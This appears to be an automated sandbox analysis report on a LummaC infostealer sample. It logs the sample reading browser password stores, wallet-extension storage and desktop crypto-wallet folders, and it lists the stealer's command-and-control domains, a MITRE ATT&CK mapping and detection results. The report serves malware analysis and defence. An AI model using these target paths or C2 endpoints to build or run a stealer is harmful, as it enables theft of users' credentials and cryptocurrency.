Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2304764046.0000000001312000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bG89JAQXz2.exe PID: 6780, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bG89JAQXz2.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	1 OS Credential Dumping	851 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
bG89JAQXz2.exe	55%	ReversingLabs	Win32.Trojan.Symmi
bG89JAQXz2.exe	100%	Avira	TR/Crypt.XPACK.Gen
bG89JAQXz2.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://observerfry.lat/f	0%	Avira URL Cloud	safe
https://observerfry.lat/p	0%	Avira URL Cloud	safe
https://observerfry.lat/apilock	0%	Avira URL Cloud	safe
https://observerfry.lat/pio	0%	Avira URL Cloud	safe
https://observerfry.lat/steG	0%	Avira URL Cloud	safe
https://observerfry.lat/apicb	0%	Avira URL Cloud	safe
https://observerfry.lat/apiQog	0%	Avira URL Cloud	safe
https://observerfry.lat/3LU	0%	Avira URL Cloud	safe
https://observerfry.lat/op	0%	Avira URL Cloud	safe
https://observerfry.lat:443/api0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		high
observerfry.lat	104.21.36.201	true	false		high

Contacted URLs

Name	Malicious	Reputation
wordyfindy.lat	false	high
curverpluch.lat	false	high
slipperyloo.lat	false	high
tentabatte.lat	false	high
https://observerfry.lat/api	false	high
manyrestro.lat	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high
bashfulacid.lat	false	high
observerfry.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/f	bG89JAQXz2.exe, 00000000.00000003.2298721301.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/steG	bG89JAQXz2.exe, 00000000.00000003.2372297015.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/p	bG89JAQXz2.exe, 00000000.00000003.2221948476.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/pio	bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apiQog	bG89JAQXz2.exe, 00000000.00000003.2222165274.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/	bG89JAQXz2.exe, 00000000.00000003.2222165274.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372297015.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2248229958.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2332685941.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2333785595.0000000005C17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/d	bG89JAQXz2.exe, 00000000.00000003.2222103814.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apicb	bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372195133.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat:443/api0	bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372098275.0000000001380000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	bG89JAQXz2.exe, 00000000.00000003.2332723683.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2221948476.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372120572.0000000001356000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apilock	bG89JAQXz2.exe, 00000000.00000003.2270206810.0000000005C17000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2270609939.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2270264706.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/3LU	bG89JAQXz2.exe, 00000000.00000003.2270206810.0000000005C17000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2298721301.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/op	bG89JAQXz2.exe, 00000000.00000003.2333090511.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat:443/api	bG89JAQXz2.exe, 00000000.00000003.2305222084.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2333090511.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372098275.0000000001380000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2305617347.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2379505567.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.36.201	observerfry.lat	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580352
Start date and time:	2024-12-24 11:21:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bG89JAQXz2.exe renamed because original name is a hash value
Original Sample Name:	31e8115c0eed64699ce7e3480f6f3edd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.190.177.21, 20.190.147.2, 20.190.147.11, 20.190.177.23, 20.190.177.83, 20.190.147.8, 20.190.177.146, 20.190.177.20, 13.107.246.63, 172.202.163.200
